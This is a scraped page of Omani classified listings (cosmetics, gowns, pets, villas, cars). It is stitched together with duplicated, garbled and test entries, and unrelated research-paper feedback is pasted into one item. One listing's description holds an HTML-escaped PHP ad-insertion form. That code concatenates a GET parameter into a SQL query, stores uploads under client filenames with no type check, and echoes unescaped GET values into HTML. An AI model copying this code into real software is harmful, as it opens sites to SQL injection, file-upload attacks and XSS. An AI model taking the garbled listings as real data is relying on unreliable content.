فيم فريش - بودرة إعادة التوازن للمنطقة الحساسة - 200 جم. - عمانيستا.تمتعي بشعور منعش وحماية مثالية مع بودرة فيم فريش لرعاية المنطقة الحساسة. تركيبتها الخالية من العطور تمنحك الراحة والثقة طوال اليوم، مع مكونات طبيعية تساعد في الحفاظ على التوازن الطبيعي للبشرة. الحجم المناسب يجعلها خياراً عملياً للاستخدام اليومي.<a href=https://omanista.com/sooqi/297/%D9%81%D9%8A%D9%85-%D9%81%D8%B1%D9%8A%D8%B4-%D8%A8%D9%88%D8%AF%D8%B1%D8%A9-%D8%A5%D8%B9%D8%A7%D8%AF%D8%A9-%D8%A7%D9%84%D8%AA%D9%88%D8%A7%D8%B2%D9%86-%D9%84%D9%84%D9%85%D9%86%D8%B7%D9%82%D8%A9-%D8%A7%D9%84%D8%AD%D8%B3%D8%A7%D8%B3%D8%A9-200-%D8%AC%D9%85><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR2.35
ميلي - زيت إكليل الجبل والنعناع. - عمانيستا

ميلي - زيت إكليل الجبل والنعناع. - عمانيستا

ميلي - زيت إكليل الجبل والنعناع. - عمانيستا.يساعد زيت إكليل الجبل والنعناع من ميلي على تعزيز صحة فروة الرأس والشعر بفضل مكوناته الطبيعية. يقدم مزيج مثالي من إكليل الجبل المنعش والنعناع المهدئ، يعمل على تقوية بصيلات الشعر وتحفيز نموه. مناسب لجميع أنواع الشعر ويضفي انتعاشًا وترطيبًا يدوم طويلا. متعي شعرك بالتغذية الطبيعية والعناية الفائقة.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; لمشاهدة جميع منتجاتنا قم بزيارة متجرنا الإلكتروني طوق العنقاء: &lt;a href=&quot;https://fato.me/s/phoenix.collar&quot; target=&quot;_blank&quot;&gt;https://fato.me/s/phoenix.collar&lt;/a&gt;<a href=https://omanista.com/sooqi/335/%D9%85%D9%8A%D9%84%D9%8A-%D8%B2%D9%8A%D8%AA-%D8%A5%D9%83%D9%84%D9%8A%D9%84-%D8%A7%D9%84%D8%AC%D8%A8%D9%84-%D9%88%D8%A7%D9%84%D9%86%D8%B9%D9%86%D8%A7%D8%B9><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR5.27
لاروش بوزاي - كريم سائل للحماية من أشعة الشمس - عمانيستا

لاروش بوزاي - كريم سائل للحماية من أشعة الشمس - عمانيستا

لاروش بوزاي - كريم سائل للحماية من أشعة الشمس - عمانيستا.وفر لأجل بشرتك الحماية القصوى مع كريم لاروش بوزاي السائل. يتميز بمكونات مضادة للأكسدة وعامل حماية من الشمس عالي (SPF +50)، يوفر حماية متكاملة من الأشعة فوق البنفسجية. صمم خصيصاً للبشرة الحساسة ويقاوم الماء. هو الاختيار الأمثل لحماية بشرتك يوميًا.<a href=https://omanista.com/sooqi/303/%D9%84%D8%A7%D8%B1%D9%88%D8%B4-%D8%A8%D9%88%D8%B2%D8%A7%D9%8A-%D9%83%D8%B1%D9%8A%D9%85-%D8%B3%D8%A7%D8%A6%D9%84-%D9%84%D9%84%D8%AD%D9%85%D8%A7%D9%8A%D8%A9-%D9%85%D9%86-%D8%A3%D8%B4%D8%B9%D8%A9-%D8%A7%D9%84%D8%B4%D9%85%D8%B3><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR10.78
فساتين سهره - عمانيستا

فساتين سهره - عمانيستا

فساتين سهره - عمانيستا.مجموعه فساتين للبيع في جديده وفي استعمال واحد للتواصل الجاد<a href=https://omanista.com/sooqi/3336/%D9%81%D8%B3%D8%A7%D8%AA%D9%8A%D9%86-%D8%B3%D9%87%D8%B1%D9%87><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR50.00
Evening gowns - عمانيستا

Evening gowns - عمانيستا

Evening gowns - عمانيستا.wedding or evening gowns,, high quality,, special fabrics and unique designs,, custom made, wore only one time,, size from S to M<a href=https://omanista.com/sooqi/1222/evening-gowns><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR65.25
فستان سهرة حفلات - عمانيستا

فستان سهرة حفلات - عمانيستا

فستان سهرة حفلات - عمانيستا.فستان سهرة حفلات ب 15<a href=https://omanista.com/sooqi/3597/%D9%81%D8%B3%D8%AA%D8%A7%D9%86-%D8%B3%D9%87%D8%B1%D8%A9-%D8%AD%D9%81%D9%84%D8%A7%D8%AA><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR15.00
ملابس نسائية واكسسوارات راقية وجميلة لجميع للمناسبات - عمانيستا

ملابس نسائية واكسسوارات راقية وجميلة لجميع للمناسبات - عمانيستا

ملابس نسائية واكسسوارات راقية وجميلة لجميع للمناسبات - عمانيستا.ملابس واكسسوارات مسائية راقية وجميلة جداً وبأسعار مناسبة جدا<a href=https://omanista.com/sooqi/199/%D9%85%D9%84%D8%A7%D8%A8%D8%B3-%D9%86%D8%B3%D8%A7%D8%A6%D9%8A%D8%A9-%D9%88%D8%A7%D9%83%D8%B3%D8%B3%D9%88%D8%A7%D8%B1%D8%A7%D8%AA-%D8%B1%D8%A7%D9%82%D9%8A%D8%A9-%D9%88%D8%AC%D9%85%D9%8A%D9%84%D8%A9-%D9%84%D8%AC%D9%85%D9%8A%D8%B9-%D9%84%D9%84%D9%85%D9%86%D8%A7%D8%B3%D8%A8%D8%A7%D8%AA><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR15.00
فستان زفاف بجميع مستلزمات - عمانيستا

فستان زفاف بجميع مستلزمات - عمانيستا

فستان زفاف بجميع مستلزمات - عمانيستا.فستان عروس البيع<a href=https://omanista.com/sooqi/1243/%D9%81%D8%B3%D8%AA%D8%A7%D9%86-%D8%B2%D9%81%D8%A7%D9%81-%D8%A8%D8%AC%D9%85%D9%8A%D8%B9-%D9%85%D8%B3%D8%AA%D9%84%D8%B2%D9%85%D8%A7%D8%AA><div>contact sellect @: <img src=https://omanista.com/assets/img/icons/favicon-32x32.png></div></a>

OMR100.00

Update Your Browser

No description found<a href=https://www.facebook.com/groups/7650607245040252/permalink/8108727105894928/?mibextid=rS40aB7S9Ucbxw6v><div>contact sellect @: <img src=https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico></div></a>

OMR0.00

Update Your Browser

No description found<a href=https://www.facebook.com/groups/7650607245040252/permalink/8108727105894928/?mibextid=rS40aB7S9Ucbxw6v><div>contact sellect @: <img src=https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico></div></a>

OMR0.00
sell for crony electric cycle - مركبات أخرى - 129385016

sell for crony electric cycle - مركبات أخرى - 129385016

I am selling electric crony cycle reason I am go to india this is good condition like 6 year old 30 km range - مركبات أخرى<a href=https://www.dubizzle.com.om/ad/sell-for-crony-electric-cycle-ID129385016.html><div>contact sellect @: <img src=https://dubizzle.com.om/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>

OMR0.00
Mix High  Breed Cat - قطط - 129494876

Mix High Breed Cat - قطط - 129494876

Mix High Breed Cat Maine Cat Father &amp; Turkey Angora Cat Mother Sweet and Playful Very Clean Alwats Cleaning herself &amp; Like Showering Reason for Selling bcoz I am Traveling Contact me by Call or WhatsApp: [redacted p - قطط<a href=><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>

OMR35.00
2months &amp; 3days. Persian mix native Persian from Iran - قطط - 129575182

2months &amp; 3days. Persian mix native Persian from Iran - قطط - 129575182

anyone interested just pm to my WhatsApp[redacted phone number] - قطط<a href=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>

OMR0.00
pigeons sale - طيور - 129569109

pigeons sale - طيور - 129569109

I have 4 pigeons urgent sale - طيور<a href=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png><div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>

OMR0.00
pigeons sale - طيور - 129569109

pigeons sale - طيور - 129569109

I have 4 pigeons urgent sale - طيور<a href=https://dubizzle.com.om/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png><div>contact sellect @: <img src=https://dubizzle.com.om/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div></a>

OMR0.00
محل بعائد يصل الى 13%، مسقط هيلز | Shop with up to 13% return, Muscat - عقارات تجارية للبيع - 129543320

محل بعائد يصل الى 13%، مسقط هيلز | Shop with up to 13% return, Muscat - عقارات تجارية للبيع - 129543320

Investment Opportunity (PV_T2_S04) ‏Yearly Return of 10-13 % Muscat Pavilion Your Chance to Invest in the biggest Business Centre in Oman in the heart of Muscat (Muscat Hills) A limited number of offices and shops r - عقارات تجارية للبيع<div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div>

OMR950.00
Cow Leather Leather Jacket - Grey - ملابس رجال - 129503806

Cow Leather Leather Jacket - Grey - ملابس رجال - 129503806

*NEW * Grey leather jacket * Original Cow leather (Not Faux Leather) * Reason to sell because It&#039;s not my size * Price is slightly negotiable for serious buyers. Don&#039;t give stup!d offers pls - ملابس رجال<div>contact sellect @: <img src=https://www.dadabay.com/assets/favicon-16x16.771c69f9ab365d2b39ca63a11a5edc57.png></div>

OMR0.00
Cow Leather Leather Jacket - Grey - ملابس رجال - 129503806

Cow Leather Leather Jacket - Grey - ملابس رجال - 129503806

*NEW * Grey leather jacket * Original Cow leather (Not Faux Leather) * Reason to sell because It&#039;s not my size * Price is slightly negotiable for serious buyers. Don&#039;t give stup!d offers pls - ملابس رجال<div>contact sellect @: <img src=$logoUrl></div>

OMR0.00
Hand Tamed Parrots with Cage &amp; Stand for Sale - طيور - 111090495

Hand Tamed Parrots with Cage &amp; Stand for Sale - طيور - 111090495

2 wonderful, friendly hand tamed parrots for sale with stand &amp; Cage. - طيور

OMR0.00
Mascaw Parrot - طيور - 127396876

Mascaw Parrot - طيور - 127396876

Thanks for the contact and interest in my lovely birds. We have Mascaw Parrots available now for sale. They are all hand trained, hand fed and come with all papers and free delivery cage. They come with a large luxu - طيور

OMR0.00
AZAIBA | STUNNING 5+1BR VILLA FOR RENT - فلل للإيجار - 129567338

AZAIBA | STUNNING 5+1BR VILLA FOR RENT - فلل للإيجار - 129567338

AZAIBA | STUNNING 5+1BR VILLA FOR RENT This 5+1 bedroom villa is located in Azaiba: GROUND FLOOR OUTDOORS Shaded parking for 2 Front-yard garden Backyard En-suite maids room INDOORS Living and Dining area Guest wash - فلل للإيجار

OMR800.00
MADINAT AL ILAM | STUNNING 5+1 BR COMMUNITY VILLA - فلل للإيجار - 129380253

MADINAT AL ILAM | STUNNING 5+1 BR COMMUNITY VILLA - فلل للإيجار - 129380253

MADINAT AL ILAM | WONDERFUL 5+1 BR COMMUNITY VILLA This multi-storey villa is located in Madinat Al Ilam and comes with the following: Ground floor Entry foyer Living and dining hall with balcony Kitchen Spacious si - فلل للإيجار

OMR800.00
3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار

OMR550.00
3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار

OMR550.00
3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار

OMR550.00
3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار

OMR550.00
3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

3BHK villas in a gated complex, with facilities &amp; maintenance included - فلل للإيجار - 128841135

Beautiful G+2, 3BHK Villa within gated compound. Excellent location, in a peace and quiet atmosphere With facilities and maintenance inlcuded Contact us now for viewing and further information - فلل للإيجار

USD550.00
iiii

iiii

iiiiii

iii0.00
empala

empala

&#039;year&#039; =&gt; &quot;السنة&quot;, &#039;year&#039; =&gt; &quot;السنة&quot;,&#039;year&#039; =&gt; &quot;السنة&quot;, &#039;year&#039; =&gt; &quot;السنة&quot;,&#039;year&#039; =&gt; &quot;السنة&quot;,&#039;year&#039; =&gt; &quot;السنة&quot;, &#039;year&#039; =&gt; &quot;السنة&quot;,

omr1250.00
empala

empala

microtime(true); microtime(true); microtime(true); microtime(true); microtime(true); microtime(true); microtime(true);

omr147.00
شيفروليه, امبالا, 2017

شيفروليه, امبالا, 2017

شيفروليه, امبالا, 2017 95227000

خةق3900.00
شيفروليه, امبالا, 2017

شيفروليه, امبالا, 2017

شيفروليه, امبالا, 2017 95227000

خةق3900.00
مرسيدس C300 2018

مرسيدس C300 2018

مرسيدس C300 2018 99025003

omr8500.00
mobile application for sale

mobile application for sale

ANdroid based mobile App

OMR250.00
la poste perfume

la poste perfume

هنالك اقتراحات: منها نحاول الارتقاء بهذه الدراسة من تحليلية مجردة الى عملية ذات قيمة مضافة. أولا العنوان، و حسب الغييرات المقترحة داخل البحث نغيره الى شيء مشابه الى: تأثير الذكاء الاصطناعي على استراتيجيات التصميم الداخلي: تطوير بيئة العمل في المناطق ذات الاعتماد العالي على الطاقة، نموذج سلطنة عمان. الشكل 4: نضيف عليه وحدة تعنى بالتصنيف الحي المباشر(live time) الشكل 5: نضيف معه رسم ثاني يكون مقترن للشكل 5 لانه و مع تواجد امكانيات اتخاذ القرار الماتمت و تصنيف الموارد ال data limitation مؤكد ستتقلص في الوحد 6 من الجيدو لسهولة القراءة نقدم جدول فيه ارقام تثبت تحليل الدراسات المنجزة السابقة و تعرض النتائج في حال تنفيذ التوصيات. وهذا حتى نثبت نجاعة هذه الدراسة

omr45.00
them houe

them houe

&lt;?php include_once &quot;settings.php&quot;; // Ensure this file sets up $connessione (database connection) //include &#039;ar.php&#039;; if(isset($_GET[&quot;accessCat&quot;])) $_SESSION[&quot;ad&quot;]=$_GET[&quot;accessCat&quot;]; //for the cntrol to dsply ads &amp;&amp; (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET[&#039;bId&#039;] ?? $_GET[&#039;bId&#039;]); // Check if the &#039;accessCat&#039; GET parameter is set $accessCat = isset($_GET[&#039;accessCat&#039;]) ? $_GET[&#039;accessCat&#039;] : &#039;&#039;; // Define available categories and their fields $categories = $_SESSION[&#039;translations&#039;][&#039;category&#039;]; // Process form submission if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) { $category = $connessione-&gt;real_escape_string($_POST[&#039;accessCat&#039;] ?? $_GET[&#039;accessCat&#039;]); $title = $connessione-&gt;real_escape_string($_POST[&#039;title&#039;] ?? &#039;&#039;); $berid = $connessione-&gt;real_escape_string($_POST[&#039;berid&#039;] ?? &#039;&#039;); $hetef = $connessione-&gt;real_escape_string($_POST[&#039;hetef&#039;] ?? &#039;&#039;); $country = $connessione-&gt;real_escape_string($_POST[&#039;country&#039;] ?? &#039;&#039;); $location_city = $connessione-&gt;real_escape_string($_POST[&#039;location_city&#039;] ?? &#039;&#039;); $price = $connessione-&gt;real_escape_string($_POST[&#039;price&#039;] ?? &#039;&#039;); $el3omla = $connessione-&gt;real_escape_string($_POST[&#039;el3omla&#039;] ?? &#039;&#039;); $description = $connessione-&gt;real_escape_string(htmlspecialchars($_POST[&#039;description&#039;] ?? &#039;&#039;)); $quantity = $connessione-&gt;real_escape_string($_POST[&#039;quantity&#039;] ?? &#039;&#039;); $yearModel = $connessione-&gt;real_escape_string($_POST[&#039;yearModel&#039;] ?? $_GET[&#039;year&#039;]); $views = intval($_POST[&#039;views&#039;] ?? 0); //$attributes = $connessione-&gt;real_escape_string($_POST[&#039;attributes&#039;] ?? &#039;&#039;); // Collect prod attributes data with default values $attributes__ = [ &#039;brand&#039; =&gt; $_GET[&#039;brand&#039;] ?? &#039;&#039;, &#039;year&#039; =&gt; $yearModel ?? &#039;&#039;, &#039;regional_specifications&#039; =&gt; $_POST[&#039;property3&#039;] ?? &#039;&#039;, &#039;odometer&#039; =&gt; $_POST[&#039;property4&#039;] ?? &#039;&#039;, &#039;cylinders&#039; =&gt; $_POST[&#039;property5&#039;] ?? &#039;&#039;, &#039;transmission&#039; =&gt; $_POST[&#039;property6&#039;] ?? &#039;&#039;, &#039;keys&#039; =&gt; $_POST[&#039;property7&#039;] ?? &#039;&#039;, &#039;full_options&#039; =&gt; $_POST[&#039;property8&#039;] ?? &#039;&#039;, &#039;fuel&#039; =&gt; $_POST[&#039;property9&#039;] ?? &#039;&#039;, &#039;wheel_drive&#039; =&gt; $_POST[&#039;property10&#039;] ?? &#039;&#039;, &#039;exterior_color&#039; =&gt; $_POST[&#039;property11&#039;] ?? &#039;&#039;, &#039;interior_color&#039; =&gt; $_POST[&#039;property12&#039;] ?? &#039;&#039;, &#039;maintenance_report&#039; =&gt; $_POST[&#039;property13&#039;] ?? &#039;&#039;, &#039;car_status&#039; =&gt; $_POST[&#039;property17&#039;] ?? &#039;&#039; ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST[&#039;form_html&#039;]) ? $_POST[&#039;form_html&#039;] : &#039;&#039;; // Collect and sanitize form data, excluding specific keys foreach ($_POST as $key =&gt; $value) { // Exclude specific fields from being added to formData if ($key !== &#039;form_html&#039; &amp;&amp; !in_array($key, [&#039;berid&#039;, &#039;hetef&#039;, &#039;country&#039;, &#039;location_city&#039;, &#039;price&#039;, &#039;el3omla&#039;, &#039;description&#039;, &#039;quantity&#039;, &#039;yearModel&#039;, &#039;delivery_available&#039;, &#039;negotiable_price&#039;, &#039;status&#039;, &#039;collector&#039;])) { $formData[$key] = htmlspecialchars($value, ENT_QUOTES, &#039;UTF-8&#039;); } } // Build the JSON object for the attributes field $attributes = [ &#039;form_html&#039; =&gt; $formHtml, &#039;data&#039; =&gt; $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione-&gt;real_escape_string($attributesJson); //$attributes = $connessione-&gt;real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST[&#039;delivery_available&#039;]) ? 1 : 0; $negotiable_price = isset($_POST[&#039;negotiable_price&#039;]) ? 1 : 0; $status = $connessione-&gt;real_escape_string($_POST[&#039;status&#039;] ?? &#039;&#039;); $collector = $connessione-&gt;real_escape_string($_POST[&#039;collector&#039;] ?? &#039;&#039;); // Handle file uploads $images = []; if (isset($_FILES[&#039;images&#039;]) &amp;&amp; !empty($_FILES[&#039;images&#039;][&#039;name&#039;][0])) { $uploadDir = &#039;uploads/&#039;; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES[&#039;images&#039;][&#039;tmp_name&#039;] as $key =&gt; $tmp_name) { $fileName = basename($_FILES[&#039;images&#039;][&#039;name&#039;][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(&#039;,&#039;, $images); try { $sql = mysqli_query($connessione, &quot;INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, &#039;$imagesList&#039;, &#039;$category&#039;, &#039;$title&#039;, &#039;$berid&#039;, &#039;$hetef&#039;, &#039;$country&#039;, &#039;$location_city&#039;, &#039;$price&#039;, &#039;$el3omla&#039;, &#039;$description&#039;, &#039;$quantity&#039;, &#039;&quot;.time().&quot;&#039;, $views, &#039;$attributes&#039;, $delivery_available, $negotiable_price, &#039;$status&#039;, &#039;$collector&#039; )&quot;); if (!$sql) { die(&#039;Error: &#039; . htmlspecialchars($connessione-&gt;error)); } } catch(Exception $e) { echo &quot;Exception: &quot; . $e-&gt;getMessage(); } } // Retrieve records from the database $sql = &quot;SELECT * FROM `bathae3i` WHERE idBathae3i = &#039;&quot; . $bId . &quot;&#039;&quot;; $result = $connessione-&gt;query($sql); ?&gt; &lt;!DOCTYPE html&gt; &lt;html &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;lang=ar dir=rtl&quot;; else echo&quot;lang=en dir=ltr&quot;; ?&gt;&gt; &lt;head&gt; &lt;meta charset=&quot;UTF-8&quot;&gt; &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt; &lt;title&gt;Bathae3i Management&lt;/title&gt; &lt;link rel=&quot;stylesheet&quot; href=&quot;https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__&quot;&gt; &lt;style&gt; body { &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;lang=ar dir=rtl&quot;; else echo&quot;lang=en dir=ltr&quot;; ?&gt; background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: &#039;???? &#039;; position: absolute; &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;right: 0px;&quot;; else echo&quot;left: 0px;&quot;; ?&gt; top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;margin-left: 40px;&quot;; else echo&quot;margin-right: 40px;&quot;; ?&gt; } /* Container for the form elements */ .form-dropdown-group { display: flex; /* Use flexbox to align children side by side */ align-items: center; /* Center items vertically */ width: 100%; /* Ensure the container takes up the full width */ gap: 10px; /* Space between the label and dropdown */ margin-bottom: 15px; /* Space below each form group */ } /* Style for the label */ .form-label { flex: 1; /* Allows the label to take up proportional space */ font-weight: bold; /* Bold text for labels */ white-space: nowrap; /* Prevents text from wrapping */ min-width: 120px; /* Ensures label has a minimum width */ &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;text-align: left;&quot;; else echo&quot;text-align: right;&quot;; ?&gt; /* Aligns text to the right to align with the dropdown */ padding: 10px; /* Padding inside the label */ background-color: #d4af37; /* Royal gold background color */ color: #fff; /* White text color for contrast */ border-radius: 5px; /* Rounded corners for the label */ box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Bumped shadow effect */ border: 1px solid #b8860b; /* Slightly darker gold border for depth */ } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div class=&quot;container&quot;&gt; &lt;h1&gt;Insert New Record&lt;/h1&gt; &lt;form method=&quot;post&quot; action=&quot;?accessCat=&lt;?php echo $_GET[&#039;accessCat&#039;]; ?&gt;&amp;brand=&lt;?php echo $_GET[&#039;brand&#039;]; ?&gt;&amp;year=&lt;?php echo $_GET[&#039;year&#039;]; ?&gt;&quot; enctype=&quot;multipart/form-data&quot; &lt;?php if(!isset($_SESSION[&#039;lang&#039;]) || $_SESSION[&#039;lang&#039;]==&quot;ar&quot;) echo&quot;style=\&quot;direction: rtl;\&quot;&quot;; else echo&quot;style=\&quot;direction: ltr;\&quot;&quot;; ?&gt; &gt; &lt;!--div class=&quot;form-group&quot;&gt; &lt;label for=&quot;category&quot;&gt;Category:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;category&quot; name=&quot;accessCat&quot; class=&quot;form-control&quot; required&gt; &lt;/div --&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;images&quot; class=&quot;custom-file-upload&quot;&gt; &lt;span&gt;&lt;?php echo $_SESSION[&quot;imageUpload&quot;]; ?&gt;&lt;/span&gt; &lt;/label&gt; &lt;input type=&quot;file&quot; id=&quot;images&quot; name=&quot;images[]&quot; class=&quot;custom-file-input&quot; accept=&quot;image/*&quot; multiple&gt; &lt;div class=&quot;image-preview&quot; id=&quot;image-preview&quot;&gt; &lt;div class=&quot;placeholder&quot;&gt;&lt;?php echo $_SESSION[&quot;imagesselected&quot;]; ?&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;form-group&quot;&gt; &lt;label for=&quot;title&quot;&gt;Title:&lt;/label&gt; &lt;input type=&quot;text&quot; id=&quot;title&quot; name=&quot;title&quot; class=&quot;form-control&quot; required&gt; &lt;/div&gt; &lt;?php if($_GET[&quot;accessCat&quot;]==&quot;cars&quot;)include_once&quot;_carsSpecificities.php&quot;; ?&gt; &lt;?php //include_once&quot;_vpcategoriesForms.php&quot;; // Function to generate form fields function generateFormFields($fields) { $formHtml = &#039;&#039;; foreach ($fields as $field =&gt; $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= &#039;&lt;div class=&quot;form-dropdown-group&quot;&gt;&#039;; $formHtml .= &#039; &lt;label for=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; class=&quot;form-label&quot;&gt;&#039; . htmlspecialchars($label[&#039;type&#039;]) . &#039;:&lt;/label&gt;&#039;; $formHtml .= &#039; &lt;select id=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; name=&quot;&#039; . htmlspecialchars($field) . &#039;&quot; class=&quot;form-control&quot;&gt;&#039;; foreach ($label as $subValue =&gt; $subLabel) { if ($subValue !== &#039;type&#039;) { // Skip the &#039;type&#039; key $formHtml .= &#039;&lt;option value=&quot;&#039; . htmlspecialchars($subValue) . &#039;&quot;&gt;&#039; . htmlspecialchars($subLabel) . &#039;&lt;/option&gt;&#039;; } } $formHtml .= &#039; &lt;/select&gt;&#039;; $formHtml .= &#039;&lt;/div&gt;&#039;; $formHtml .= &#039;&lt;br&gt;&lt;br&gt;&#039;; } else if ($field != &quot;icon&quot;){ //$formHtml .= &#039;&lt;label 